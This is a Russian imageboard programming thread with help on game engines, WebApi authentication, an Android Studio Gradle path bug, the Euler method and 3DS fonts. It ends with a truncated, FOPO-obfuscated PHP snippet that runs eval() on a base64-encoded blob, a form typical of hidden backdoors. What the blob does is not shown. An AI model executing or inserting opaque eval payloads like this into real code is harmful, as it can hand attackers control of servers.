наверно. я только основы изучал и консольные приложения на плюсах делал. сишарп мне понравился тем, что при создании какого-нибудь проекта подключается куча библиотек, которые все за тебя делают. ну и еще синтаксис попроще и удобнее

кстати, наткнулся на ютубе на серию видео-уроков по разработке платформера на моногейме, так в нем парень свыше 50 роликов делает платформер, который можно сделать в гейммейкере за час. я так понял, что моногейм предназначен для тех, кто хочет разработать собственный движок для своей игры и компоненты для удобства ее разработки, а это очень долго и сложно но можно попробовать делать на нем какой-нибудь хобби-проект, если заняться больше особо нечем
наверно, для меня будет лучше, если можно будет мышкой потыкать и все само сделается, как сказал >>17627
No. 17631    
>>17621
А как на C++ под андроид? Когда тред создашь?
No. 17633    
>>17631
Есть NDK, есть Qt и SDL. Я ни разу ещё не пробовал, но можно и даже есть гайды.
А что мне в треде писать-то?
No. 17634    
>>17633
Я пробовал. И мой калькулятор даже запустился с 10-го раза. Я порадовался, удалил и взялся за Unity.
Игрушки на Qt для Андроид - это для тех, кто хочет все сначала и до конца сам делать. Ну или у тебя уже есть какие-то наработки в виде библиотек.
No. 17635    
>>17634
> это для тех, кто хочет все сначала и до конца сам делать
Ну... в этом и смысл!
No. 17636    
>>17630
> присобачить entity framework и подключаться к базе данных mssql
Мать моя легаси, а зачем? Понятия не имею, есть ли такая интеграция. А если есть, то на кроссплатформенность можно не рассчитывать (хотя, если туда .net core встраивается, то вот на линуксах можно, теоретически).

Я бы предложил тебе WebApi для работы с бд.
Клиент (игорь) лезет на сервис, дёргает методы, получает от базы всякое, и всё прекрасно, и в три звена. А два звена это дырка в безопасности и в боевом будущем будет больно.
No. 17637    
>>17635
Ну, есть два подхода: "всё и с нуля" и "нам нужен продукт".
В первом случае это энтузиазм, исследование неизвестного, приобретение опыта и маленький шанс получить в итоге готовый продукт.
No. 17638    
>>17630
> моногейм предназначен для тех, кто хочет разработать собственный движок для своей игры и компоненты для удобства ее разработки
Ну, sort of. Недодвижок, переобёртка над графическими api.
Кое-что позволяет сделать проще, для всего остального надо разрабатывать анус.
No. 17639    
>>17636
> Я бы предложил тебе WebApi для работы с бд
То есть мне придется создать отдельное asp.net webapi приложение, захостить его где-нибудь на azure хочу и получать данные обращаясь к строке вида xxx.com/api/xxx/getxxxbyxxx ? Если это так, то выглядит как-то небезопасно, ведь кто угодно может гетить и путить туда что захочет. Как с таким справиться?
No. 17640    
151027597753.png-(178.54KB, 1247×688, ConceptualArchitecture.png)
17640
>>17636
> Мать моя легаси, а зачем?
кстати, не совсем понял, почему ты так удивился. разве так делать плохо? загрузить в отдельной либе ентити фреймворк, аккуратненько прописать все эти энтити-классы, то-сё, добавить эту либу к приложению клиента и обращаться с него в базу когда нужно. ну и получается вроде как все безопасно и просто-понятно. если это плохо, то напиши как нужно хорошо, пожалуйста

еще когда в ксамарине ковырялся, то заметил пикрелейтед. то есть дата лэер с этим всем добром, как я выше написал
No. 17641    
>>17639
Авторизация @ Аутентификация
А кто угодно упрётся в требование логина @ пароля.

>>17640
Ну, прямой доступ к удалённой БД это всегда опасно. Они дают слишком много информации — противник будет знать о БД, её типе, её структуре и всё такое.
Я понимаю, когда БД локальная, но вот удалённая...

Приложения с такими штуками не проходят ревью у безопасников.
No. 17643    
>>17641
> Авторизация @ Аутентификация
предлагаешь в виде параметров передавать логин и пароль? а это по-взрослому? просто как-то не видел раньше чтоб так делали
> противник будет знать о БД, её типе, её структуре и всё такое
расскажи, пожалуйста, как они это могут сделать. типа через декомпиляторы всякие exe вскрыть?
No. 17644    
>>17643
> предлагаешь в виде параметров передавать логин и пароль? а это по-взрослому? просто как-то не видел раньше чтоб так делали
Не-не-не.
https://docs.microsoft.com/en-us/aspnet/web-api/overview/security/
Вот, посмотри. Да, логин и пароль будут доступны/смогут вытащить, но доступа к базе не получат, а реквесты от клиентов ты обрабатываешь на сервере и хуйню сможешь обнаружить. И отреагировать на неё.

>расскажи, пожалуйста, как они это могут сделать. типа через декомпиляторы всякие exe вскрыть?
Например. Возьми вот эту замечательную тулзу https://www.jetbrains.com/decompiler/ скорми ей любую свою приложуху на дотнете и ахуей от того, что всё лежит на ладони
No. 17645    
>>17644
> Вот, посмотри
спасибо, почитаю
> скорми ей любую свою приложуху на дотнете и ахуей от того, что всё лежит на ладони
да, помню, я делал подобное, только какой-то другой программой. прикольно было посмотреть

мне еще интересно вот что: скажем, пользователь хочет загрузить уровень из таблички level базы данных, отправляет с клиента запрос к вебапи, все проходит отлично и ему возвращаются дынные... но в каком виде ему отправить уровень? по идее было бы удобно отправить объект ентити фреймворка таблички level, оно вроде как придет в виде джейсона так ведь? и можно потом его распарсить и превратить в объект класса level клиента, который идентичен классу ентити фреймворка. так стоит делать или как-то по-другому? я просто с вебапи плохо знаком, мб что-то не правильно сделаю
No. 17646    
>>17644
> https://docs.microsoft.com/en-us/aspnet/web-api/overview/security/
я тут просмотрел варианты аутентификации и они вроде как требуют браузер в качестве клиента если я правильно понял, а у меня ведь клиентом выступает обычное c# приложение для десктопа/смартфонов. какой способ аутентификации стои выбрать в таком случае? лично я знаком с Forms Authentication, но она кажется в куки хранит информацию о пользователе, то есть такое только для сайтов подходит
No. 17651    
>>17645
> но в каком виде ему отправить уровень?
В красивом варианте клиент ничего не знает про сервер, а сервер про клиент. Клиент просит уровень у магического адреса, сервер берёт сотню таблиц, настроек, путей, считает всякую срань и схуячивает результат работы в объект. Который отправляется куда-то виде xml, json или любой другой извращённой фигни.

Клиент получает эту портянку, разгребает её и рисует всякое.

>>17646
Да куки,
https://ideone.com/aKaCnU
Вот, вырвал из рабочего проекта ошмёток. Используем http://restsharp.org/ для работы с апи.

В двух словах:
Пока _client не .Dispose() то всё будет норм. Перед (например) Ping() надо только сделать Authentification().

Но мне кажется мы уходим в дебри. Для начала бы попробовал примитивную игру сделать про увлекательные приключёния злоебучего прямоугольника в мире психоделической хуйни и ТЕСТОВАЯ ТЕКСТУРА.

А уже потом клиент-сервера, webapi, базы данных, латенси, кеширование, актуализация, шифрование, защита, анализ и прочие увлекательные анальные утехи.
No. 17656    
>>17651
> красивом варианте клиент ничего не знает про сервер, а сервер про клиент
> Клиент получает эту портянку, разгребает её и рисует всякое.
но можно ведь для удобства создать классы на клиенте, чтобы удобнее было разгребать данные с сервера?

> Вот, вырвал из рабочего проекта ошмёток
не совсем понял метод Authentification. ты ведь хочешь здесь просто залогинить юзера, так? чому урл реквест такой длинный "Authentification/{login}/{protocolVersion}/{userId}/{pushToken}"? это, наверно, особенности твоего проекта, да? а мне можно будет сделать вот так, например: Authentification/?login=xxx&password=xxx ? и еще эта тема с куки непонятная response.Cookies. ты, получается, на сервере в ответ записываешь куки данные и отправляешь клиенту? что ты там хранишь и как используешь? на сервере хранится инфа о том, что какой-то юзер залогинен? аттрибут [Authorize] работает?

> Но мне кажется мы уходим в дебри.
лол мне тоже. уже не помню, почему начал спрашивать про вебапи. помню только что просил посоветовать игровой движок.
No. 17657    
>>17656
> но можно ведь для удобства создать классы на клиенте, чтобы удобнее было разгребать данные с сервера?
Ну, дык.

> не совсем понял метод Authentification.
Логинюсь по логину, ид и токену. Получают ответ от сервера и записываю его в кукисы.

> чому урл реквест такой длинный
> наверно, особенности твоего проекта
В точку. У нас есть правила оформления апишек.

> на сервере в ответ
В общих чертах так, но очень многое решеное искаробочными средствами. К сожалению серверсайд показать не могу секретность и каша из сотен классов

> аттрибут [Authorize] работает
Да.

> посоветовать игровой движок.
Пока играйся с юнити, а базы данных, вебапи и прочий БДСМ отложи на потом. Может тебе юнити не подойдёт.
No. 17661    
чтобы не потерять

80% из топ-10 университетов США (в том числе MIT) для обучения студентов программированию используют Python.
http://blog.stacksocial.com/popular-coding-language/

Начать изучение Python рекомендую с вот этих материалов:

Google Python Class (основы Python за 2 дня):
  • видео-ролики на ютубе (у всех роликов есть субтитры на английском)
https://youtube.com/watch?v=tKTZoB2Vjuk
  • текст лекций и файлы примеров
https://developers.google.com/edu/python/set-up

Сильные выступления Титанов:
  • Transforming Code into Beautiful Idiomatic Python
https://www.youtube.com/watch?v=OSGv2VnC0go
  • The Clean Architecture in Python
https://www.youtube.com/watch?v=DJtef410XaM
  • и всё что понравится из этого списка
https://github.com/s16h/py-must-watch
No. 17668    
151077580852.jpg-(61.40KB, 574×606, 29807.jpg)
17668
>>17661
Я хотел подтянуть питон, но что-то слишком много всего.
No. 17678    
151079964672.png-(23.20KB, 420×450, jpg_vs_png2.png)
17678
>>17668
No. 17679    
>>17678

http://abstrusegoose.com/206
No. 17685    
>>17678
>>17679
А я люблю обмазываться артефактами и сжимать.
No. 17726    
151092884662.png-(41.25KB, 916×653, 2017-11-17_16-20-11.png)
17726
как в андроид студии создать приложение для более старых версий андроид? загрузить более старую версию андроид студии?
No. 17735    
>>17726
1. Какая конкретная версия SDK интересует?
2. В SDK Manager есть возможность докачать SDK, который ты хочешь?

Здесь показывают как это делается, включая запуск эмулятора хотя человек в основном ради эмулятора там всё и делает
https://stackoverflow.com/a/29989445
No. 17737    
151095191965.png-(79.34KB, 1038×701, 2017-11-17_22-28-54.png)
17737
>>17735
> 1. Какая конкретная версия SDK интересует?
> 2. В SDK Manager есть возможность докачать SDK, который ты хочешь?
пикрелейтед. скачал 2 нужные версии, но в списке, который изображен в прошлом посте, эти версии не появляются чомусь.
даже перезапустил эту программу в надежде что появятся нужные, но их нету. только android 4.0 и выше

может, я что-то не то нажимаю?..
No. 17738    
151096570944.png-(230.92KB, 682×250, с.png)
17738
キタ━━━(゚∀゚)━━━!!
No. 17740    
>>17737
Все ты верно нажимаешь, просто Google это разработчик пидор-пидор, разработчик-мразь, у которого 1000 и 1 подобных кривостей и бардака в тулзах.

Тебе необходимо:
  • создать проект с минимально доступной в списке версией API;
  • дождаться чтобы все файлы создались;
  • зайти в папку с проектом;
  • найти файл build.gradle (внутри папки app, а не в корневой папке самого проекта);
  • отредактировать параметры связаные sdk (типа targetSdkVersion, minSdkVersion и т.д.);

No. 17757    
151103336166.png-(131.62KB, 1366×768, 2017-11-18_21-17-09.png)
17757
>>17740
вроде сделал, но в итоге получил тысячи ошибок. видимо, гиблое это дело - разрабатывать для старых версий андроида. мб просто загружу более старую версию этой студии или куплю новый смартфон если захочу серьезно этим заняться думал поиграться, но как-то не вышло
No. 17758    
151103402696.png-(41.96KB, 1324×241, 2017-11-18_21-32-01.png)
17758
>>17740
>>17757
хотя, знаешь, возможно, получиось бы запустить так, как ты написал, если бы я создал приложение с версией андроида 4.0, то есть минимальной в списке. но проблема вот в чем: после создания такого приложение оно не билдится, потому что не может найти нужные файлы из-за кириллицы в пути. пофиксить это так просто не получится, так ведь?

в прошлый раз я менял значения в грейдл на приложении для чуть ли не последней версии андроид
No. 17760    
>>17758
Проще убрать кириллицу из путей.
No. 17763    
>>17760
но как? это вроде как имя папки пользователя. я гуглил как ее изменить и находил только какие-то костыльные подозрительные способы, от которых у людей потом проблемы с компьютером появляются. не хотеть такого
No. 17764    
>>17763
Я бы посоветовал для начала тупо создать еще одного пользователя в Windows, имя которого будет набрано латиницей, залогиниться в того пользователя и попробовать провернуть все там. Так мы для начала будет знать проблема со сборкой в пути кириллическом или нет. Т.е. перед тем как кидаться чинить надо знать что чинить.
No. 17765    
>>17763
У тебя кириллица в пути из-за имени пользователя. Ты не знаешь, в этом ли конкретно проблема, но есть два способа обойти это:

1. Создать юзера с именем латиницей Semen, и попробовать это всё проделать из-под него. Это поможет узнать, проблема в пути, или нет.

2. Если да, просто сказать gradle чтобы он жил не в папке C:\Users\Семён\.gradle а где-то типа C:\Dev\gradle
No. 17766    
>>17763
Простите, это был скорее совет на будущее, потому что типичная проблема при разработке.
No. 17767    
151105009210.png-(41.96KB, 1324×241, 151103402696.png)
17767
>>17765
> 1. Создать юзера с именем латиницей Semen, и попробовать это всё проделать из-под него. Это поможет узнать, проблема в пути, или нет.
сделал так, но из под этого юзера андроид студия сдк не видит, хотя я ей путь указал... ну и я уверен, что проблема именно в том, что юзер на кириллице, на скриншоте ведь выводятся ошибки с путем, где юзер - это ?????
> 2. Если да, просто сказать gradle чтобы он жил не в папке C:\Users\Семён\.gradle а где-то типа C:\Dev\gradle
можешь описать, как это сделать? просто перетащить в другую папку ведь, наверное, не получится - нужно будет еще где-то указать, что грейдл в другом месте теперь
No. 17768    
>>17767
На счет другого юзера, я не уверен насколько андроид студия гейская, возможно её имеет смысла установить тупо заново под новый юзером и уже потом пробовать
No. 17772    
>>17767
>на скриншоте ведь выводятся ошибки с путем, где юзер - это ?????
К сожалению, это может значить еще и то, что консоль просто не умеет в юникод.
No. 17804    
>>17772
сама ошибка выглядит как "[путь]: file not found". но я переходил по тому пути вместо ????? - имя пользователя и видел те самые файлы, которые были в этих ошибках file not found...
No. 17811    
>>17767
>можешь описать, как это сделать? просто перетащить в другую папку ведь, наверное, не получится - нужно будет еще где-то указать, что грейдл в другом месте теперь

Пишут, что это можно прямо в меню настроек сделать:
https://stackoverflow.com/a/44763760
кстати, спрашивает человек с такой же проблемой в юзернейме
No. 17815    
15111325614.png-(55.00KB, 687×679, 2017-11-20_00-30-35.png)
17815
>>17811
вроде все сделал как описали, но оно все равно ищет там где путь битый. еще там было написано про GRADLE_USER_HOME, это какая-то системная переменная? если да, то это странно, потому что у меня ее нету. мб для того чтоб все работало нужно ее где-то найти и там путь изменить?

кроме того, я тыкал в чекбокс "оффлайн ворк" и самостоятельно указывал "грейдл хоум" (C:\Program Files\Android\Android Studio\gradle\gradle-4.1), но ничего не изменилось
No. 17818    
Попробуй на чистой системе (виртуальной машине).
No. 17821    
>>17815
>вроде все сделал как описали, но оно все равно ищет там где путь битый
Посмотри в local.properties в корне проекта, есть ли "битые" пути там.
>In the local.properties file in the root of the project, change the sdk.dir value.
Дополнительно - можно попробовать создать новый проект и посмотреть, будет ли он тоже искать не там, где указано в настройках.

>GRADLE_USER_HOME, это какая-то системная переменная
Системная или пользовательская переменная среды. Если нет, то её можно попробовать установить.
No. 17827    
>>17815
А еще я вижу прямо на твоем скриншоте:
>USE LOCAL GRADLE DISTRIBUTION
С просьбой указать папку где он лежит.
No. 17834    
151119586162.jpg-(143.02KB, 400×400, f1gJZ31122g.jpg)
17834
>>17631
Вопрос про тред остаётся в силе. Могу туда постить, например, всякую фигню, которую тестирую. Надо такое?
No. 17842    
>>17821
> Посмотри в local.properties в корне проекта, есть ли "битые" пути там.
sdk.dir=C\:\\Android\\SDK только есть
> Дополнительно - можно попробовать создать новый проект и посмотреть, будет ли он тоже искать не там, где указано в настройках.
пробовал, все то же самое
> Системная или пользовательская переменная среды. Если нет, то её можно попробовать установить.
создал и системную и пользовательскую - не помогло
>>17827
и это пробовал...

странно, что он продолжает брать этот старый путь. может, оно где-то в реестре прописано или еще где?
просмотрел файлы этого грейдла и в файле gradle-wrapper.properties увидел такое:
#Mon Nov 20 21:13:13 EET 2017
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip

это может что-то значить?
No. 17844    
>>17842
А что тебе выведет команда
echo %GRADLE_USER_HOME%

в cmd?
No. 17845    
>>17834
Давай.
No. 17846    
>>17844
C:\Android\.gradle
No. 17847    
>>17846
А попытка лезть в старую папку происходит и в свежих проектах тоже?
No. 17848    
>>17847
угу...
No. 17849    
151125808929.png-(409.40KB, 480×750, 1510105631030.png)
17849
Есть один большой страшнокод на питоне, но мой проф говорит что ему больно на него смотреть и надо что-то сделать. Заверните мне, пожалуйста, одного достаточно доброго ычаньку, чтобы он в личечке kissme@waifu.club помог мне разобраться как переписать правильно и красиво.
No. 17850    
>>17849
Может, сюда?
No. 17851    
>>17850
Я стесняюсь же.
No. 17855    
>>17849
Предлагаю переписать на сишке. Профессору понравится.
No. 17856    
>>17855
Да, я планирую переписать на https://pjreddie.com/darknet , но позже.
No. 17857    
>>17851
А я стесняюсь писать тебе на почту.
No. 17858    
>>17857
Ты можешь оставить свою почту и я разобью лед прислав картинку с миленькой девочкой.
No. 17860    
>>17858
Это смущает ещё больше. Да и в питоне не силён. На нём сложно писать нормально.
No. 17887    
>>17848
>>17847
Оказывается, это даже вполне официально признанный баг:
https://stackoverflow.com/q/22956385
https://issues.gradle.org/browse/GRADLE-2414

>Tooling api uses the gradleUserHome dir by passing it via the start parameters to the build. However, it is not used for the getting the distro. Please submit a ticket & pull request

>Waiting for review and possibly can get into 1.11.

Какая там у тебя версия?
No. 17889    
>>17887
> Какая там у тебя версия?
а где это смотреть? у меня этот грейдл вместе с андроид студией поставился
No. 17891    
>>17889
>а где это смотреть?
https://stackoverflow.com/a/30055088
No. 17892    
151153534418.jpg-(98.28KB, 700×694, 000001-qwgj6xytxe.jpg)
17892
Учусь работать с USB камерой.
Научился находить нужное устройство, научился строить графы DirectShow и выводить живую картинку на экран.
Теперь нужно отзеркалить картинку на экране вертикально, но не знаю как - сама камера это делать не умеет.
Курю MSDN про фильтры, DMO и MFT, но это, похоже, надолго.
Где-бы взять готовый пример, от которого можно плясать?
No. 17894    
>>17892
>Где-бы взять готовый пример, от которого можно плясать?
Как насчет гитхаба?
https://github.com/KunYi/RotateFilter
No. 17895    
>>17892
Можно не писать фильтр, а рендерить в Direct2D, например, в render target, для которого задать желаемую матрицу преобразования координат. За счёт выполнения этого преобразования на видеокарте, возможно, будет меньше нагрузка на процессор. См. https://www.codeproject.com/Articles/152317/DirectShow-Filters-Development-Part-Video-Render
No. 17896    
>>17894
>>17895
Благодарю. Буду разбираться.
No. 17897    
>>17895
Похоже, это не работает под Windows XP.
А я надеялся получить совместимость и с ним.
No. 17898    
>>17891
пишет что 4.1
No. 17899    
я как-то делал сайт для браузера nintendo 3ds и в нем есть 1 большая для меня проблема: он не отображает украинские буквы, которых нету в русском языке і, ї, є
я решил написать скрипт, который бы менял их на буквы из других языков, которые выглядят точно так же. для "і" можно использовать английскую букву, для "ї" - французкую, а вот для "є" не знаю похожих альтернатив. может кто-то из вас знает?

вопрос, конечно, не очень подходящий для раздела, но он вроде как и касается разработки
в http://iichan.hk/tran/ не нашел подходящего треда, а свой создать стесняюсь
No. 17900    
>>17899
Звучит дико. Они же из одного юникота.
No. 17901    
>>17899
Может дело быть в том, что ты используешь стандартный шрифт 3дс, в котором нет нужных символов, и надо просто назначить другой?

Адсо, у нас здесь обитает автор сайта: http://3dsgallery.azurewebsites.net/ у которого на 3ds украинский нормально отображается. Может, он увидит это сообщение и подскажет.
No. 17902    
151157749813.jpg-(844.19KB, 2592×1944, DSC_0011.jpg)
17902
>>17900
ты это разработчикам нинтендо 3дс браузера скажи

>>17901
> Может дело быть в том, что ты используешь стандартный шрифт 3дс, в котором нет нужных символов, и надо просто назначить другой?
только что скачал украинский шрифт и подключил его в css, открыл в браузере компьютера - шрифт поменялся на этот новый, открыл в браузере 3дсочки - ничего не изменилось. насколько я понял, в этом браузере вообще шрифты подключать нельзя, здесь есть единый нинтендошрифт, который используется на всех страницах
> Адсо, у нас здесь обитает автор сайта: http://3dsgallery.azurewebsites.net/ у которого на 3ds украинский нормально отображается. Может, он увидит это сообщение и подскажет.
ну, я - это он, и у меня в браузере 3дс всегда укр символы отображались как прямоугольнички пикрелейтед

кстати, может кто рассказать, как лучше селекторы для jquery писать, чтобы поиск элементов происходил как можно быстрее? насколько я понимаю, если указать только класс элемента в селекторе, то жуквери будет проверять наличие такого класса у каждого хтмл элемента, а хотелось бы, чтобы он отсеивал какие-то ветки
No. 17907    
>>17899
Попробуй вот такой вариант эпсилона: "ϵ".
No. 17908    
>>17907
черт, не отображается, а ведь выглядит так хорошо

если не найдется еще альтернатива, то придется использовать букву похожую на отзеркаленную "з"
No. 17913    
>>17902
>ты это разработчикам нинтендо 3дс браузера скажи
Вроде как они используют Netfront Browser NX.
https://www.3dbrew.org/wiki/Internet_Browser

Ты можешь узнать, какая версия у тебя, попробовать добыть её на другую платформу для дебага, и узнать, кто виноват - Nintendo или ACCESS.
No. 17914    
>>17898
>пишет что 4.1
Тогда фикс для того бага уже давно должен присутствовать. Пока открыл FAQ про Gradle:
https://docs.gradle.org/current/userguide/userguide_single.html

>Note, «GRADLE_USER_HOME» defaults to «USER_HOME»/.gradle, where «USER_HOME» is the home directory of the current user. This location can be configured via the -g and --gradle-user-home command line switches, as well as by the GRADLE_USER_HOME environment variable and org.gradle.user.home JVM system property.

>This location can be configured via the -g and --gradle-user-home command line switches
Т.е. если это не твоя переменная, то это вот эти ключи.

Ну, или ты действительно неправильно указал системную переменную.

>GRADLE_USER_HOME
>Specifies the Gradle user home directory (which defaults to “USER_HOME/.gradle” if not set).
No. 17916    
151172100065.png-(7.56KB, 278×130, 111.png)
17916
Стив, покажи как питоне закодить метод Эйлера для пикрилейтед. a, b, k - положительные константы которые вводятся при запуске. Проблема с самим переводом математики в код, питоном владею (можно даже показать как это будет на няшной сишке, псевдокоде, лолях или чем-то другом).
No. 17917    
>>17916
https://ru.wikipedia.org/wiki/Метод_Эйлера#Реализации_на_языках_программирования
Только в func засовываешь свою dx/dt (там обозначения dy/dx соответственно) и выносишь a, b, k в параметры.
No. 17921    
>>17917
Моя dx/dt это return a - b math.cos ((math.pi y) / 12) - k * x?
Я не очень умный.
No. 17922    
>>17921
y и x поменяй местами.
No. 17923    
>>17916
И начальные условия (x0, y0) у тебя будут (0, 0) вместо (1, 1) из примера.
No. 17924    
151173475325.png-(12.39KB, 549×429, 1.png)
17924
>>17922
>>17923
Спасибо, няш, вроде все похоже на правду.
No. 17927    
Как же хочется начать что-то писать для себя...
No. 17928    
>>17927
Хочешь написать для меня? Я буду о тебе заботиться и держать за ручку, а писать мне много разного-интересного на портфолио машоба.
No. 17929    
>>17928
Только после блокчейна.
No. 17930    
>>17929
Мне блокчейн тоже нужен.
No. 17959    
Доброй ночи товарищи, по институтским нуждам приходится изучать zmq, однако, я встал на этапе установки. Собственно, саму либу я вроде как на свою ось (OS: Manjaro 17.0.5 Gellivara) поставил, однако, при попытке получить исполняемый файл программы получаю в лицо вывод... https://hastebin.com/wayuniqemi.coffeescript
Подскажите, что я мог или делаю не так...
No. 17961    
>>17959
Не видит некую libsodium же. Найди, где она у тебя лежит, укажи путь ключом -L и саму либу через -l, если будет надо.
No. 17977    
151216141296.png-(56.06KB, 1086×693, .png)
17977
Ребят, шатаю вичан и вот тут у меня возник вопрос на пикрелейтед. Я правильно понял, что это регулярные выражение? Как с ними работать? Может кто-то более детальнее объяснить? Смотрел по гуглу разные сайты, но там криво написано.
No. 17978    
Одна девочка взяла, и...

`
<?php
/
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Friday, December 1st, 2017 at 21:11 UTC from IP 89.250.167.48
Checksum: cf7a01eeaa4316fab5ac2312590ffec43a3b7424
/
$ic47ba73="\x62\x61\x73\145\66\x34\137\144\145\x63\x6f\x64\x65";@eval($ic47ba73(
"Ly9OT1RON2E4Ti9ma1h1NGoxQkNoNUFaOUExVEVPUGx0VEcwLzZQRE1kMWNoYWk1ejVWam96Tlg3YnF
JUHNZL3owSnVNMkRoQlBDaThkZXFlNS9BUlY2TXIzSVlaN0h5VTdZalRXeEkzTFFCS1BXaHlyMUw1N1Z
TOE9Bazg0cTVnMEhzaTJzQXEvMzR1TnBQYjdoUTJ4dytFOGlhTFV3QXIydWNPK2lSYXpOeDZrWXR2Z2J
OQ1h4N1h5YjIwM2xnU0NMK0V4Rm1VWmdpZEZqZWhRMVZYelY3NXdJR2JFYzlkYjZqNm9EUmU2VGJjcmp
xTzhIMDVjWnhGcUhTV2ZycGZTRVZkMVRGQUFGSGpwQmd5RGVnNUVYV2dWc0IzSUZXb1h6Q3M2TGlEMEd
rM2tKQnZwT09wVEd2cTY3TGh5bnVDdzhmb3ZoQ1JMYVNXSjhTUFFKeWdxc2RwN3kxZ0JzbXhaeXVjaUF
WRkpiRzRKSzU3TUV4Y1RQaXJUZGlsckRacjE0TDhyd0lUR3RGYjQ0blRBVm1RMDhDaWlwS1J5WnRmZ0d
lMUVNWEk1RENhTDZtM016cWhiUTNlQXA1RmZyU3RuT3k5YW5yb2luWlo0WlRoRXVwS0pIaEdTMXVOT3k
3eVpVaHVQTmJROHlhdjJJOGFGVnNXMHQxNk44Qm5CR2E3c3VqaGczemN6VEVSbUFvbGgyM20vTHp5dkU
zOGpCNWFidFZuZkdLYUM2NXQzclVWdmJ0cmNKR3hwMDc0RXM1eHJpSDdlZU83TXRESEU2QXNFREk0c3h
SUWo4V05FNHdxdE1HeVpWZjFaVlJXdzNJMlBsOUVrQ1FnTDBjL1NUTW1KRktUVVU1dU9tbWRhRDQ4dDB
GdlRpOG1Falc0WlJ5TUxLRFFQZHJLSCtWYm9hYmVsVTErZjNMeXhMa1JJZ3dROFBvbUFydkhlejhOQnM
2ZitSejJRVll1QkZteURDcEZCd2Q5ZktDN1RQbldCdUVyZmlkMVBkblVsY1lvdkl0ZENyR0FQQm85Njd
mRDVvbENVNzRreUV0ekk2LzNWS1JpNTF3ME9La0dGcWhBbG9BQVp1N1FwNnQzYkVsZ1BoR1k4eDluMXA
3VFRuK3JmNXdmQlJ6SmFPUTVOR2dFVk93bWxUUUF5aWlXU1JIekJlZ0dEUjZnVlNFWG4xZms3SDhURXh
SeFB0cC91b09oRXk1cnNkYm9VaHJ0RzZudm10cUFpeGh3akJreFRUVnpuZmFHY0xEaWczYWx4RzhsNFB
JckJUbzA0ODFROUpRVHlwS2Y4UzErMDhhbEdNUE9Ydld1L1VBak1GbFk1ZVh6bTRuWTlnUWx3dzRIMUI
2RlRMSXNka0tEN1JjdkxYUXB5WGVvRGlxZnV0d2JJSmU4ek9yR05uR2tGMGFtYXhXWURtVXowMWNGNmc
1c01FNkIrMzJDUmtmdmVuRUpVZk5WVUJha2FNUXdjYWVlcXZlVEtuNzhvUXM0NnpNNDVaZjdQZ24rOWI
0MmJqM1VyTnpVaWNDNGovd255andrWk1aTE9zeEs1SkhMbVZKdmExNU92ekJDSDR3ZThFaFl1dE9TSWx
0UHlFUVJuVGtRVVkrZFhHQUcxdEF5YjBha05XRXhwcFZjS0pyYVhpQ0ZHejF5U1llNVlwSFIwWHdDSTJ
sazUzcnphQ3JtS2EzTTJXUVhYdG42UmcxbXFUdUxkL0k3TlRpWmZ2V0ZqazhDMExyc1R3V09pR2J4MTQ
xQ1FhMURWWU5ZK2tQaW1ZRStySnhzZU0yUnpsOFFPaER1YkVXa1VPSnlYSUljR2N6ZnZRQ05VMHZhK09
KVjVvWXN0MWI4bXBUc04vWTgyTmdJSHlxZkNldkFzZFZDZlZ1QnVSazRqVUFRMTNIYXFwNzREdzZtTi9
vYStkOWFYQzNMUERXUkJheGYwM1hzNGFuZzNtZFR5MXptemJjYk5RZG83d1RNTDNSdnRUMTJpYzlpTTd
mYXU1ek8vTUdXdFhXZmdaVDRqTXFsd1BMWUVzQlBOK09LYy80U3FKdGt5VXFnK25wMy9xM282L2haSUl
BUHZCQnVhdEdsUnNOTGtTUzZNQUVCdzl1MFRXa3lGM1F4em5uOGhsbTQ5Y2lyV2U0WFB3RWo5bTNEVlV
aT0hlTXVzWmM1Qk8yUi9BcDlZSmxKQ0xtaW5SN1BueTVNQkh6YnBhSjM2Z21YcklOMlNuVjlvMURNMER
2dCs1ZjFxdndGT1gvNmZMcUxXd3pSb3ptMWVQb3QxMG81MHNVeXlXQzhnVmRLdlhPcTV0bEc1Y3VkU0p
BNk9JY2FNeHRmOGJDck1kYkFpTGxBd1Q4U2ptR3hUVDJ5U2dWZnhQSCtPVng3Qi9BWGdTbVBZU0FjaGJ
xQWt2VjRGTXgwaEh3TW5iWEdEYVFiOHk2MHhqcHRUYmxLWU83aktRNFg5YkZjSXFHSFA3b2d6WXB4RnY
0ajVzVFJqd1JzbTlydVF4QjR4cTBnb3NmV3hRRWMrREdHSS9RdnVPd0Q2SVRmUHVFWEVGUC9mM29hdzN
1d0MvVFZ0TitybDh3TmphMlNLS05RYzJKV0UxYXY5NkhDaFQxS21xNkN0T3ZjMmpBS1AxWHlBNHZndVh
abFRxR2tvZ0IrL2J6OUhGMjREWDdncTZkVU1lNVl0UXBYdnBSUmpRQkxEZWloQi9vZ1phTU94dXVEUDU
3V3JEeVVHbGxxL2Q1N3VtWTN0UitMQ2Ixdmw4NnZ4aWJhTGNCQVRjalZ1SkxHTXFodWZNUUw4U2dRUjR
JQ0RoZzFwdzh3UW1TdkhILy9Ec2pDSHhjNzFOVS9VTHZUQ3hOdnk1RVQ0Z2pEVE0wd3pocU5CeUxzenB
XVy91WXZseFg2dzYyaklDU25QbWtYNWxNQVlmdWdWR1NmTkl1Q0pobWlUSWNOeUFLVmtsNWR6UVgvcm1
qU2thUzRreDNXL0RzOURsd2hwNmNxQXpTMVI5RFYwOVZ4b05ISnZqbUs3cXZ2anU1L3I1SHdwemNsV25
hUUtjYjRzRUdZaldpSUR6L2MzUUZ3ZEJjdmp1TDVUMVdaVVNnZUJvc1ZZZzE2dzhKa2ZKYWxXcld0YXo
1eUd0VWI0U3VVV3ZOTklRN0xCN0ZROU1YZ2cyZllCWExwdW5VeFh0RExyOHpmZjVrZDlvMlNkUFFKQzI
3NVRqUmlNaENETUxXbjc3eHpRNG12amsvSWQ1M2k5cDNVRWFYZ2xsQkFYcGMwSmxkY2Q1b2lBSFdWZ1R
UYi8vY3BqaFN1L1NYeThrVDVlZjF1NjNmbGxJeXE5TE1tNkNzdTMrK28rcjh4OGxPb00rZVNSRk1PalN
xc2dkRDFpa2RLWjFBK0NyM0FUVy9iQ0ZFSUZGdWxOZ0tvTE0waEFqVXN5UW5PK2crMTc4NW9ibWdmcTl
4enRDMmpIaHV2SWk3UC95ZXdPZjFLeVJkV2o0WmdZSW8xMFJPdDlBcnZZdHpWS01SNDlvU2NLMS8zRlN
